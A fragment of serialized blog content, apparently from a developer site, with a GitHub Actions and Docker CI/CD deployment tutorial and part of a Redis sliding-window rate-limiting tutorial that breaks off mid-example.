toRef()",{"id":2012,"depth":35,"text":2463,"children":2464},"2. Trap #2: Reassigning an Entire reactive() Object",[2465],{"id":2114,"depth":41,"text":2466},"The Fix: Use ref() or Object.assign()",{"id":2198,"depth":35,"text":2468},"3. Trap #3: Watching Deep Reactive State Without { deep: true }",{"id":2349,"depth":35,"text":2350},"2026-09-16","Practical troubleshooting guide that receives constant daily search traffic from Vue & Nuxt developers struggling with lost reactivity and watchers.",{},"\u002Fblog\u002Fen\u002Fvue3-reactivity-traps",{"title":1809,"description":2471},"vue3-reactivity-traps","blog\u002Fen\u002Fvue3-reactivity-traps",[1514,1802,20,368,303],"kH-dB_lRw3R_20GDPhhz2iBupxjKfspUx4hYG98UhOE",{"id":2480,"title":2481,"author":7,"body":2482,"date":3112,"description":3113,"extension":290,"featured":291,"image":292,"meta":3114,"navigation":294,"path":3115,"readingTime":182,"seo":3116,"slug":3117,"stem":3118,"tags":3119,"__hash__":3125},"blog\u002Fblog\u002Fen\u002Flean-ci-cd-docker-github-actions.md","A Lean CI\u002FCD Pipeline for Solo Developers: Automated Testing and Deployments with Docker & GitHub Actions",{"type":9,"value":2483,"toc":3106},[2484,2487,2511,2514,2516,2520,2526,2528,2535,3066,3068,3072,3103],[12,2485,2486],{},"When you are a solo developer or working in a small startup team, you do not need a 400-line Terraform configuration or a $500\u002Fmonth Kubernetes cluster. What you need is:",[2488,2489,2490,2496,2502],"ol",{},[201,2491,2492,2495],{},[49,2493,2494],{},"Confidence",": Automatic unit & integration tests run on every push so you don't ship broken code.",[201,2497,2498,2501],{},[49,2499,2500],{},"Speed",": Fast Docker image builds with layer caching.",[201,2503,2504,2507,2508,113],{},[49,2505,2506],{},"Simplicity",": Automatic zero-downtime deployment to your VPS the moment a PR merges into ",[23,2509,2510],{},"main",[12,2512,2513],{},"Here is the exact, battle-tested GitHub Actions CI\u002FCD workflow I use across my production projects.",[61,2515],{},[64,2517,2519],{"id":2518},"_1-the-3-step-pipeline-strategy","1. The 3-Step Pipeline Strategy",[16,2521,2524],{"className":2522,"code":2523,"language":349,"meta":21},[347],"git push origin main\n       │\n       ▼\n[Stage 1: Lint & Test] (Runs in parallel with cache)\n       │ (Passes)\n       ▼\n[Stage 2: Build & Push Docker Image] (BuildKit + GitHub Cache)\n       │ (Passes)\n       ▼\n[Stage 3: SSH Deploy to VPS] (Pulls new image, runs migrations, reloads Nginx)\n",[23,2525,2523],{"__ignoreMap":21},[61,2527],{},[64,2529,2531,2532],{"id":2530},"_2-the-complete-githubworkflowsdeployyml","2. The Complete ",[23,2533,2534],{},".github\u002Fworkflows\u002Fdeploy.yml",[16,2536,2540],{"className":2537,"code":2538,"language":2539,"meta":21,"style":21},"language-yaml shiki shiki-themes github-light github-dark","name: CI\u002FCD Production Pipeline\n\non:\n  push:\n    branches: [main]\n\njobs:\n  test:\n    runs-on: ubuntu-latest\n    steps:\n      - uses: actions\u002Fcheckout@v4\n\n      - name: Set up Node.js \u002F Bun\n        uses: actions\u002Fsetup-node@v4\n        with:\n          node-version: 20\n          cache: 'npm'\n\n      - name: Install Dependencies\n        run: npm ci\n\n      - name: Run Linter & Typecheck\n        run: npm run typecheck\n\n      - name: Run Test Suite\n        run: npm test\n\n  build-and-deploy:\n    needs: test\n    runs-on: ubuntu-latest\n    steps:\n      - uses: actions\u002Fcheckout@v4\n\n      - name: Set up Docker Buildx\n        uses: docker\u002Fsetup-buildx-action@v3\n\n      - name: Log in to GitHub Container Registry (GHCR)\n        uses: docker\u002Flogin-action@v3\n        with:\n          registry: ghcr.io\n          username: ${{ github.actor }}\n          password: ${{ secrets.GITHUB_TOKEN }}\n\n      - name: Build & Push Multi-Arch Docker Image\n        uses: docker\u002Fbuild-push-action@v5\n        with:\n          context: .\n          push: true\n          tags: ghcr.io\u002F${{ github.repository }}:latest\n          cache-from: type=gha\n          cache-to: type=gha,mode=max\n\n      - name: Deploy via SSH to VPS\n        uses: appleboy\u002Fssh-action@v1.0.3\n        with:\n          host: ${{ secrets.VPS_HOST }}\n          username: ${{ secrets.VPS_USER }}\n          key: ${{ secrets.VPS_SSH_KEY }}\n          script: |\n            cd \u002Fopt\u002Fapps\u002Fmy-app\n            echo \"${{ secrets.GITHUB_TOKEN }}\" | docker login ghcr.io -u ${{ github.actor }} --password-stdin\n            docker compose pull\n            docker compose up -d --remove-orphans\n            docker image prune -f\n","yaml",[23,2541,2542,2551,2555,2563,2570,2581,2585,2592,2599,2609,2616,2629,2633,2644,2654,2661,2671,2681,2685,2696,2706,2710,2721,2730,2734,2745,2754,2758,2765,2775,2783,2789,2799,2803,2814,2823,2827,2838,2847,2853,2863,2873,2883,2887,2898,2907,2913,2923,2932,2942,2952,2962,2966,2977,2986,2993,3004,3014,3025,3036,3042,3048,3054,3060],{"__ignoreMap":21},[26,2543,2544,2546,2548],{"class":28,"line":29},[26,2545,907],{"class":1524},[26,2547,1011],{"class":379},[26,2549,2550],{"class":386},"CI\u002FCD Production Pipeline\n",[26,2552,2553],{"class":28,"line":35},[26,2554,428],{"emptyLinePlaceholder":294},[26,2556,2557,2560],{"class":28,"line":41},[26,2558,2559],{"class":436},"on",[26,2561,2562],{"class":379},":\n",[26,2564,2565,2568],{"class":28,"line":170},[26,2566,2567],{"class":1524},"  push",[26,2569,2562],{"class":379},[26,2571,2572,2575,2577,2579],{"class":28,"line":176},[26,2573,2574],{"class":1524},"    branches",[26,2576,1752],{"class":379},[26,2578,2510],{"class":386},[26,2580,633],{"class":379},[26,2582,2583],{"class":28,"line":182},[26,2584,428],{"emptyLinePlaceholder":294},[26,2586,2587,2590],{"class":28,"line":188},[26,2588,2589],{"class":1524},"jobs",[26,2591,2562],{"class":379},[26,2593,2594,2597],{"class":28,"line":470},[26,2595,2596],{"class":1524},"  test",[26,2598,2562],{"class":379},[26,2600,2601,2604,2606],{"class":28,"line":476},[26,2602,2603],{"class":1524},"    runs-on",[26,2605,1011],{"class":379},[26,2607,2608],{"class":386},"ubuntu-latest\n",[26,2610,2611,2614],{"class":28,"line":482},[26,2612,2613],{"class":1524},"    steps",[26,2615,2562],{"class":379},[26,2617,2618,2621,2624,2626],{"class":28,"line":487},[26,2619,2620],{"class":379},"      - ",[26,2622,2623],{"class":1524},"uses",[26,2625,1011],{"class":379},[26,2627,2628],{"class":386},"actions\u002Fcheckout@v4\n",[26,2630,2631],{"class":28,"line":494},[26,2632,428],{"emptyLinePlaceholder":294},[26,2634,2635,2637,2639,2641],{"class":28,"line":518},[26,2636,2620],{"class":379},[26,2638,907],{"class":1524},[26,2640,1011],{"class":379},[26,2642,2643],{"class":386},"Set up Node.js \u002F Bun\n",[26,2645,2646,2649,2651],{"class":28,"line":526},[26,2647,2648],{"class":1524},"        uses",[26,2650,1011],{"class":379},[26,2652,2653],{"class":386},"actions\u002Fsetup-node@v4\n",[26,2655,2656,2659],{"class":28,"line":532},[26,2657,2658],{"class":1524},"        with",[26,2660,2562],{"class":379},[26,2662,2663,2666,2668],{"class":28,"line":538},[26,2664,2665],{"class":1524},"          node-version",[26,2667,1011],{"class":379},[26,2669,2670],{"class":436},"20\n",[26,2672,2673,2676,2678],{"class":28,"line":550},[26,2674,2675],{"class":1524},"          cache",[26,2677,1011],{"class":379},[26,2679,2680],{"class":386},"'npm'\n",[26,2682,2683],{"class":28,"line":561},[26,2684,428],{"emptyLinePlaceholder":294},[26,2686,2687,2689,2691,2693],{"class":28,"line":567},[26,2688,2620],{"class":379},[26,2690,907],{"class":1524},[26,2692,1011],{"class":379},[26,2694,2695],{"class":386},"Install Dependencies\n",[26,2697,2698,2701,2703],{"class":28,"line":578},[26,2699,2700],{"class":1524},"        run",[26,2702,1011],{"class":379},[26,2704,2705],{"class":386},"npm ci\n",[26,2707,2708],{"class":28,"line":584},[26,2709,428],{"emptyLinePlaceholder":294},[26,2711,2712,2714,2716,2718],{"class":28,"line":601},[26,2713,2620],{"class":379},[26,2715,907],{"class":1524},[26,2717,1011],{"class":379},[26,2719,2720],{"class":386},"Run Linter & Typecheck\n",[26,2722,2723,2725,2727],{"class":28,"line":618},[26,2724,2700],{"class":1524},[26,2726,1011],{"class":379},[26,2728,2729],{"class":386},"npm run typecheck\n",[26,2731,2732],{"class":28,"line":624},[26,2733,428],{"emptyLinePlaceholder":294},[26,2735,2736,2738,2740,2742],{"class":28,"line":636},[26,2737,2620],{"class":379},[26,2739,907],{"class":1524},[26,2741,1011],{"class":379},[26,2743,2744],{"class":386},"Run Test Suite\n",[26,2746,2747,2749,2751],{"class":28,"line":642},[26,2748,2700],{"class":1524},[26,2750,1011],{"class":379},[26,2752,2753],{"class":386},"npm test\n",[26,2755,2756],{"class":28,"line":648},[26,2757,428],{"emptyLinePlaceholder":294},[26,2759,2760,2763],{"class":28,"line":654},[26,2761,2762],{"class":1524},"  build-and-deploy",[26,2764,2562],{"class":379},[26,2766,2767,2770,2772],{"class":28,"line":660},[26,2768,2769],{"class":1524},"    needs",[26,2771,1011],{"class":379},[26,2773,2774],{"class":386},"test\n",[26,2776,2777,2779,2781],{"class":28,"line":666},[26,2778,2603],{"class":1524},[26,2780,1011],{"class":379},[26,2782,2608],{"class":386},[26,2784,2785,2787],{"class":28,"line":671},[26,2786,2613],{"class":1524},[26,2788,2562],{"class":379},[26,2790,2791,2793,2795,2797],{"class":28,"line":677},[26,2792,2620],{"class":379},[26,2794,2623],{"class":1524},[26,2796,1011],{"class":379},[26,2798,2628],{"class":386},[26,2800,2801],{"class":28,"line":703},[26,2802,428],{"emptyLinePlaceholder":294},[26,2804,2805,2807,2809,2811],{"class":28,"line":721},[26,2806,2620],{"class":379},[26,2808,907],{"class":1524},[26,2810,1011],{"class":379},[26,2812,2813],{"class":386},"Set up Docker Buildx\n",[26,2815,2816,2818,2820],{"class":28,"line":758},[26,2817,2648],{"class":1524},[26,2819,1011],{"class":379},[26,2821,2822],{"class":386},"docker\u002Fsetup-buildx-action@v3\n",[26,2824,2825],{"class":28,"line":780},[26,2826,428],{"emptyLinePlaceholder":294},[26,2828,2829,2831,2833,2835],{"class":28,"line":786},[26,2830,2620],{"class":379},[26,2832,907],{"class":1524},[26,2834,1011],{"class":379},[26,2836,2837],{"class":386},"Log in to GitHub Container Registry (GHCR)\n",[26,2839,2840,2842,2844],{"class":28,"line":792},[26,2841,2648],{"class":1524},[26,2843,1011],{"class":379},[26,2845,2846],{"class":386},"docker\u002Flogin-action@v3\n",[26,2848,2849,2851],{"class":28,"line":797},[26,2850,2658],{"class":1524},[26,2852,2562],{"class":379},[26,2854,2855,2858,2860],{"class":28,"line":805},[26,2856,2857],{"class":1524},"          registry",[26,2859,1011],{"class":379},[26,2861,2862],{"class":386},"ghcr.io\n",[26,2864,2865,2868,2870],{"class":28,"line":811},[26,2866,2867],{"class":1524},"          username",[26,2869,1011],{"class":379},[26,2871,2872],{"class":386},"${{ github.actor }}\n",[26,2874,2875,2878,2880],{"class":28,"line":817},[26,2876,2877],{"class":1524},"          password",[26,2879,1011],{"class":379},[26,2881,2882],{"class":386},"${{ secrets.GITHUB_TOKEN }}\n",[26,2884,2885],{"class":28,"line":827},[26,2886,428],{"emptyLinePlaceholder":294},[26,2888,2889,2891,2893,2895],{"class":28,"line":854},[26,2890,2620],{"class":379},[26,2892,907],{"class":1524},[26,2894,1011],{"class":379},[26,2896,2897],{"class":386},"Build & Push Multi-Arch Docker Image\n",[26,2899,2900,2902,2904],{"class":28,"line":859},[26,2901,2648],{"class":1524},[26,2903,1011],{"class":379},[26,2905,2906],{"class":386},"docker\u002Fbuild-push-action@v5\n",[26,2908,2909,2911],{"class":28,"line":865},[26,2910,2658],{"class":1524},[26,2912,2562],{"class":379},[26,2914,2915,2918,2920],{"class":28,"line":871},[26,2916,2917],{"class":1524},"          context",[26,2919,1011],{"class":379},[26,2921,2922],{"class":436},".\n",[26,2924,2925,2928,2930],{"class":28,"line":876},[26,2926,2927],{"class":1524},"          push",[26,2929,1011],{"class":379},[26,2931,1062],{"class":436},[26,2933,2934,2937,2939],{"class":28,"line":881},[26,2935,2936],{"class":1524},"          tags",[26,2938,1011],{"class":379},[26,2940,2941],{"class":386},"ghcr.io\u002F${{ github.repository }}:latest\n",[26,2943,2944,2947,2949],{"class":28,"line":915},[26,2945,2946],{"class":1524},"          cache-from",[26,2948,1011],{"class":379},[26,2950,2951],{"class":386},"type=gha\n",[26,2953,2954,2957,2959],{"class":28,"line":920},[26,2955,2956],{"class":1524},"          cache-to",[26,2958,1011],{"class":379},[26,2960,2961],{"class":386},"type=gha,mode=max\n",[26,2963,2964],{"class":28,"line":925},[26,2965,428],{"emptyLinePlaceholder":294},[26,2967,2968,2970,2972,2974],{"class":28,"line":931},[26,2969,2620],{"class":379},[26,2971,907],{"class":1524},[26,2973,1011],{"class":379},[26,2975,2976],{"class":386},"Deploy via SSH to VPS\n",[26,2978,2979,2981,2983],{"class":28,"line":949},[26,2980,2648],{"class":1524},[26,2982,1011],{"class":379},[26,2984,2985],{"class":386},"appleboy\u002Fssh-action@v1.0.3\n",[26,2987,2989,2991],{"class":28,"line":2988},55,[26,2990,2658],{"class":1524},[26,2992,2562],{"class":379},[26,2994,2996,2999,3001],{"class":28,"line":2995},56,[26,2997,2998],{"class":1524},"          host",[26,3000,1011],{"class":379},[26,3002,3003],{"class":386},"${{ secrets.VPS_HOST }}\n",[26,3005,3007,3009,3011],{"class":28,"line":3006},57,[26,3008,2867],{"class":1524},[26,3010,1011],{"class":379},[26,3012,3013],{"class":386},"${{ secrets.VPS_USER }}\n",[26,3015,3017,3020,3022],{"class":28,"line":3016},58,[26,3018,3019],{"class":1524},"          key",[26,3021,1011],{"class":379},[26,3023,3024],{"class":386},"${{ secrets.VPS_SSH_KEY }}\n",[26,3026,3028,3031,3033],{"class":28,"line":3027},59,[26,3029,3030],{"class":1524},"          script",[26,3032,1011],{"class":379},[26,3034,3035],{"class":375},"|\n",[26,3037,3039],{"class":28,"line":3038},60,[26,3040,3041],{"class":386},"            cd \u002Fopt\u002Fapps\u002Fmy-app\n",[26,3043,3045],{"class":28,"line":3044},61,[26,3046,3047],{"class":386},"            echo \"${{ secrets.GITHUB_TOKEN }}\" | docker login ghcr.io -u ${{ github.actor }} --password-stdin\n",[26,3049,3051],{"class":28,"line":3050},62,[26,3052,3053],{"class":386},"            docker compose pull\n",[26,3055,3057],{"class":28,"line":3056},63,[26,3058,3059],{"class":386},"            docker compose up -d --remove-orphans\n",[26,3061,3063],{"class":28,"line":3062},64,[26,3064,3065],{"class":386},"            docker image prune -f\n",[61,3067],{},[64,3069,3071],{"id":3070},"_3-why-this-workflow-excels-for-solo-engineers","3. Why This Workflow Excels for Solo Engineers",[198,3073,3074,3084,3094],{},[201,3075,3076,3083],{},[49,3077,3078,3079,3082],{},"GitHub Cache (",[23,3080,3081],{},"type=gha",")",": Docker layers are cached directly inside GitHub Actions. Unchanged dependency layers are skipped, reducing build times from 6 minutes to under 45 seconds.",[201,3085,3086,3089,3090,3093],{},[49,3087,3088],{},"Zero Secrets Leakage",": Deployments authenticate via ephemeral ",[23,3091,3092],{},"GITHUB_TOKEN"," and SSH private keys stored in encrypted repository secrets.",[201,3095,3096,1011,3099,3102],{},[49,3097,3098],{},"Auto Image Pruning",[23,3100,3101],{},"docker image prune -f"," prevents your VPS disk from filling up with orphaned container images over time.",[274,3104,3105],{},"html pre.shiki code .s9eBZ, html code.shiki .s9eBZ{--shiki-default:#22863A;--shiki-dark:#85E89D}html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}",{"title":21,"searchDepth":35,"depth":35,"links":3107},[3108,3109,3111],{"id":2518,"depth":35,"text":2519},{"id":2530,"depth":35,"text":3110},"2. The Complete .github\u002Fworkflows\u002Fdeploy.yml",{"id":3070,"depth":35,"text":3071},"2026-09-15","Solo developers and startup founders looking for simple, robust deployment workflows without heavy cloud infrastructure.",{},"\u002Fblog\u002Fen\u002Flean-ci-cd-docker-github-actions",{"title":2481,"description":3113},"lean-ci-cd-docker-github-actions","blog\u002Fen\u002Flean-ci-cd-docker-github-actions",[3120,3121,3122,3123,3124],"devops","docker","ci-cd","github-actions","linux","VZj9d-zClI2fVJWwwy2mm6m6gq7cZWPGzVskD-1rebI",{"id":3127,"title":3128,"author":7,"body":3129,"date":3737,"description":3738,"extension":290,"featured":291,"image":292,"meta":3739,"navigation":294,"path":3740,"readingTime":182,"seo":3741,"slug":3742,"stem":3743,"tags":3744,"__hash__":3749},"blog\u002Fblog\u002Fen\u002Fapi-rate-limiting-redis.md","API Rate Limiting in Practice: Token Bucket vs. Sliding Window with Redis",{"type":9,"value":3130,"toc":3728},[3131,3134,3137,3147,3149,3153,3157,3164,3168,3171,3179,3183,3186,3188,3192,3199,3656,3658,3662,3665,3722,3725],[12,3132,3133],{},"Without API rate limiting, a single rogue script or misconfigured webhook client can fire 10,000 requests per second at your login or checkout endpoint, exhausting your database connection pool and taking your entire application down.",[12,3135,3136],{},"Rate limiting is the first line of defense against bot attacks, credential stuffing, and API resource abuse. But which algorithm should you implement?",[12,3138,3139,3140,1112,3143,3146],{},"In this article, we compare the two industry-standard algorithms — ",[49,3141,3142],{},"Token Bucket",[49,3144,3145],{},"Sliding Window Log"," — and show how to implement a high-speed sliding window rate limiter in Redis.",[61,3148],{},[64,3150,3152],{"id":3151},"_1-comparing-the-algorithms","1. Comparing the Algorithms",[193,3154,3156],{"id":3155},"a-fixed-window-counter-the-flawed-default","A. Fixed Window Counter (The Flawed Default)",[12,3158,3159,3160,3163],{},"Divides time into fixed buckets (e.g. 10:00 to 10:01). If a user can make 100 requests per minute, they can send 100 requests at 10:00:59, and another 100 requests at 10:01:01. That means ",[49,3161,3162],{},"200 requests in 2 seconds"," — double the intended burst limit!",[193,3165,3167],{"id":3166},"b-token-bucket","B. Token Bucket",[12,3169,3170],{},"A bucket holds a fixed number of tokens (burst capacity). Tokens are continuously replenished at a constant rate. Each incoming request consumes one token.",[198,3172,3173],{},[201,3174,3175,3178],{},[49,3176,3177],{},"Great for",": APIs that want to allow legitimate temporary traffic spikes while capping sustained throughput.",[193,3180,3182],{"id":3181},"c-sliding-window-counter-the-production-standard","C. Sliding Window Counter (The Production Standard)",[12,3184,3185],{},"Combines the low memory usage of fixed windows with the smoothness of a rolling window. It calculates the request rate by weighting the request count of the previous window and the current window.",[61,3187],{},[64,3189,3191],{"id":3190},"_2-sliding-window-rate-limiter-with-redis-sorted-sets","2. Sliding Window Rate Limiter with Redis Sorted Sets",[12,3193,3194,3195,3198],{},"Redis Sorted Sets (",[23,3196,3197],{},"ZSET",") allow us to track requests by timestamp with microsecond accuracy:",[16,3200,3202],{"className":366,"code":3201,"language":368,"meta":21,"style":21},"import Redis from 'ioredis'\n\nconst redis = new Redis(process.env.REDIS_URL!)\n\nexport async function checkRateLimit(identifier: string, limit = 60, windowInSeconds = 60) {\n  const now = Date.now()\n  const windowStart = now - (windowInSeconds * 1000)\n  const key = `ratelimit:${identifier}`\n\n  \u002F\u002F Atomic Redis Pipeline (Runs in a single round-trip)\n  const multi = redis.multi()\n  \u002F\u002F 1. Remove all request timestamps older than the active window\n  multi.zremrangebyscore(key, 0, windowStart)\n  \u002F\u002F 2. Count requests currently in the active window\n  multi.zcard(key)\n  \u002F\u002F 3. Add the current timestamp as a new request\n  multi.zadd(key, now, `${now}-${Math.random()}`)\n  \u002F\u002F 4. Set key expiration to auto-clean idle users\n  multi.expire(key, windowInSeconds)\n\n  const results = await multi.exec()\n  const currentCount = (results?.[1]?.[1] as number) || 0\n\n  if (currentCount >= limit) {\n    return {\n      allowed: false,\n      remaining: 0,\n      retryAfter: Math.ceil(windowInSeconds - ((now - windowStart) \u002F 1000))\n    }\n  }\n\n  return {\n    allowed: true,\n    remaining: limit - currentCount - 1,\n    retryAfter: 0\n  }\n}\n",[23,3203,3204,3216,3220,3245,3249,3292,3309,3335,3352,3356,3361,3378,3383,3399,3404,3414,3419,3453,3458,3468,3472,3491,3527,3531,3544,3550,3559,3568,3596,3600,3604,3608,3614,3623,3640,3648,3652],{"__ignoreMap":21},[26,3205,3206,3208,3211,3213],{"class":28,"line":29},[26,3207,376],{"class":375},[26,3209,3210],{"class":379}," Redis ",[26,3212,383],{"class":375},[26,3214,3215],{"class":386}," 'ioredis'\n",[26,3217,3218],{"class":28,"line":35},[26,3219,428],{"emptyLinePlaceholder":294},[26,3221,3222,3224,3227,3229,3231,3234,3237,3240,3243],{"class":28,"line":41},[26,3223,433],{"class":375},[26,3225,3226],{"class":436}," redis",[26,3228,440],{"class":375},[26,3230,443],{"class":375},[26,3232,3233],{"class":446}," Redis",[26,3235,3236],{"class":379},"(process.env.",[26,3238,3239],{"class":436},"REDIS_URL",[26,3241,3242],{"class":375},"!",[26,3244,479],{"class":379},[26,3246,3247],{"class":28,"line":170},[26,3248,428],{"emptyLinePlaceholder":294},[26,3250,3251,3253,3256,3258,3261,3263,3266,3268,3271,3273,3276,3278,3281,3283,3286,3288,3290],{"class":28,"line":176},[26,3252,1220],{"class":375},[26,3254,3255],{"class":375}," async",[26,3257,2069],{"class":375},[26,3259,3260],{"class":446}," checkRateLimit",[26,3262,892],{"class":379},[26,3264,3265],{"class":692},"identifier",[26,3267,76],{"class":375},[26,3269,3270],{"class":436}," string",[26,3272,129],{"class":379},[26,3274,3275],{"class":692},"limit",[26,3277,440],{"class":375},[26,3279,3280],{"class":436}," 60",[26,3282,129],{"class":379},[26,3284,3285],{"class":692},"windowInSeconds",[26,3287,440],{"class":375},[26,3289,3280],{"class":436},[26,3291,718],{"class":379},[26,3293,3294,3296,3299,3301,3304,3307],{"class":28,"line":182},[26,3295,2080],{"class":375},[26,3297,3298],{"class":436}," now",[26,3300,440],{"class":375},[26,3302,3303],{"class":379}," Date.",[26,3305,3306],{"class":446},"now",[26,3308,946],{"class":379},[26,3310,3311,3313,3316,3318,3321,3324,3327,3330,3333],{"class":28,"line":188},[26,3312,2080],{"class":375},[26,3314,3315],{"class":436}," windowStart",[26,3317,440],{"class":375},[26,3319,3320],{"class":379}," now ",[26,3322,3323],{"class":375},"-",[26,3325,3326],{"class":379}," (windowInSeconds ",[26,3328,3329],{"class":375},"*",[26,3331,3332],{"class":436}," 1000",[26,3334,479],{"class":379},[26,3336,3337,3339,3342,3344,3347,3349],{"class":28,"line":470},[26,3338,2080],{"class":375},[26,3340,3341],{"class":436}," key",[26,3343,440],{"class":375},[26,3345,3346],{"class":386}," `ratelimit:${",[26,3348,3265],{"class":379},[26,3350,3351],{"class":386},"}`\n",[26,3353,3354],{"class":28,"line":476},[26,3355,428],{"emptyLinePlaceholder":294},[26,3357,3358],{"class":28,"line":482},[26,3359,3360],{"class":490},"  \u002F\u002F Atomic Redis Pipeline (Runs in a single round-trip)\n",[26,3362,3363,3365,3368,3370,3373,3376],{"class":28,"line":487},[26,3364,2080],{"class":375},[26,3366,3367],{"class":436}," multi",[26,3369,440],{"class":375},[26,3371,3372],{"class":379}," redis.",[26,3374,3375],{"class":446},"multi",[26,3377,946],{"class":379},[26,3379,3380],{"class":28,"line":494},[26,3381,3382],{"class":490},"  \u002F\u002F 1. Remove all request timestamps older than the active window\n",[26,3384,3385,3388,3391,3394,3396],{"class":28,"line":518},[26,3386,3387],{"class":379},"  multi.",[26,3389,3390],{"class":446},"zremrangebyscore",[26,3392,3393],{"class":379},"(key, ",[26,3395,1858],{"class":436},[26,3397,3398],{"class":379},", windowStart)\n",[26,3400,3401],{"class":28,"line":526},[26,3402,3403],{"class":490},"  \u002F\u002F 2. Count requests currently in the active window\n",[26,3405,3406,3408,3411],{"class":28,"line":532},[26,3407,3387],{"class":379},[26,3409,3410],{"class":446},"zcard",[26,3412,3413],{"class":379},"(key)\n",[26,3415,3416],{"class":28,"line":538},[26,3417,3418],{"class":490},"  \u002F\u002F 3. Add the current timestamp as a new request\n",[26,3420,3421,3423,3426,3429,3432,3434,3437,3440,3442,3445,3448,3451],{"class":28,"line":550},[26,3422,3387],{"class":379},[26,3424,3425],{"class":446},"zadd",[26,3427,3428],{"class":379},"(key, now, ",[26,3430,3431],{"class":386},"`${",[26,3433,3306],{"class":379},[26,3435,3436],{"class":386},"}-${",[26,3438,3439],{"class":379},"Math",[26,3441,113],{"class":386},[26,3443,3444],{"class":446},"random",[26,3446,3447],{"class":386},"()",[26,3449,3450],{"class":386},"}`",[26,3452,479],{"class":379},[26,3454,3455],{"class":28,"line":561},[26,3456,3457],{"class":490},"  \u002F\u002F 4. Set key expiration to auto-clean idle users\n",[26,3459,3460,3462,3465],{"class":28,"line":567},[26,3461,3387],{"class":379},[26,3463,3464],{"class":446},"expire",[26,3466,3467],{"class":379},"(key, windowInSeconds)\n",[26,3469,3470],{"class":28,"line":578},[26,3471,428],{"emptyLinePlaceholder":294},[26,3473,3474,3476,3479,3481,3483,3486,3489],{"class":28,"line":584},[26,3475,2080],{"class":375},[26,3477,3478],{"class":436}," results",[26,3480,440],{"class":375},[26,3482,768],{"class":375},[26,3484,3485],{"class":379}," multi.",[26,3487,3488],{"class":446},"exec",[26,3490,946],{"class":379},[26,3492,3493,3495,3498,3500,3503,3506,3509,3511,3514,3516,3519,3521,3524],{"class":28,"line":601},[26,3494,2080],{"class":375},[26,3496,3497],{"class":436}," currentCount",[26,3499,440],{"class":375},[26,3501,3502],{"class":379}," (results?.[",[26,3504,3505],{"class":436},"1",[26,3507,3508],{"class":379},"]?.[",[26,3510,3505],{"class":436},[26,3512,3513],{"class":379},"] ",[26,3515,752],{"class":375},[26,3517,3518],{"class":436}," number",[26,3520,696],{"class":379},[26,3522,3523],{"class":375},"||",[26,3525,3526],{"class":436}," 0\n",[26,3528,3529],{"class":28,"line":618},[26,3530,428],{"emptyLinePlaceholder":294},[26,3532,3533,3535,3538,3541],{"class":28,"line":624},[26,3534,706],{"class":375},[26,3536,3537],{"class":379}," (currentCount ",[26,3539,3540],{"class":375},">=",[26,3542,3543],{"class":379}," limit) {\n",[26,3545,3546,3548],{"class":28,"line":636},[26,3547,800],{"class":375},[26,3549,515],{"class":379},[26,3551,3552,3555,3557],{"class":28,"line":642},[26,3553,3554],{"class":379},"      allowed: ",[26,3556,1326],{"class":436},[26,3558,547],{"class":379},[26,3560,3561,3564,3566],{"class":28,"line":648},[26,3562,3563],{"class":379},"      remaining: ",[26,3565,1858],{"class":436},[26,3567,547],{"class":379},[26,3569,3570,3573,3576,3579,3581,3584,3586,3589,3591,3593],{"class":28,"line":654},[26,3571,3572],{"class":379},"      retryAfter: Math.",[26,3574,3575],{"class":446},"ceil",[26,3577,3578],{"class":379},"(windowInSeconds ",[26,3580,3323],{"class":375},[26,3582,3583],{"class":379}," ((now ",[26,3585,3323],{"class":375},[26,3587,3588],{"class":379}," windowStart) ",[26,3590,1132],{"class":375},[26,3592,3332],{"class":436},[26,3594,3595],{"class":379},"))\n",[26,3597,3598],{"class":28,"line":660},[26,3599,868],{"class":379},[26,3601,3602],{"class":28,"line":666},[26,3603,657],{"class":379},[26,3605,3606],{"class":28,"line":671},[26,3607,428],{"emptyLinePlaceholder":294},[26,3609,3610,3612],{"class":28,"line":677},[26,3611,521],{"class":375},[26,3613,515],{"class":379},[26,3615,3616,3619,3621],{"class":28,"line":703},[26,3617,3618],{"class":379},"    allowed: ",[26,3620,1296],{"class":436},[26,3622,547],{"class":379},[26,3624,3625,3628,3630,3633,3635,3638],{"class":28,"line":721},[26,3626,3627],{"class":379},"    remaining: limit ",[26,3629,3323],{"class":375},[26,3631,3632],{"class":379}," currentCount ",[26,3634,3323],{"class":375},[26,3636,3637],{"class":436}," 1",[26,3639,547],{"class":379},[26,3641,3642,3645],{"class":28,"line":758},[26,3643,3644],{"class":379},"    retryAfter: ",[26,3646,3647],{"class":436},"0\n",[26,3649,3650],{"class":28,"line":780},[26,3651,657],{"class":379},[26,3653,3654],{"class":28,"line":786},[26,3655,1067],{"class":379},[61,3657],{},[64,3659,3661],{"id":3660},"_3-returning-standard-http-rate-limit-headers","3. Returning Standard HTTP Rate Limit Headers",[12,3663,3664],{},"Whenever your server answers a request, communicate rate limit states in the response headers (following IETF draft standards):",[16,3666,3668],{"className":148,"code":3667,"language":150,"meta":21,"style":21},"HTTP\u002F1.1 429 Too Many Requests\nRetry-After: 32\nX-RateLimit-Limit: 60\nX-RateLimit-Remaining: 0\nX-RateLimit-Reset: 1773489240\nContent-Type: application\u002Fjson\n\n{\n  \"error\": \"Too Many Requests\",\n  \"message\": \"Rate limit exceeded. Please retry in 32 seconds.\"\n}\n",[23,3669,3670,3675,3680,3685,3690,3695,3700,3704,3708,3713,3718],{"__ignoreMap":21},[26,3671,3672],{"class":28,"line":29},[26,3673,3674],{},"HTTP\u002F1.1 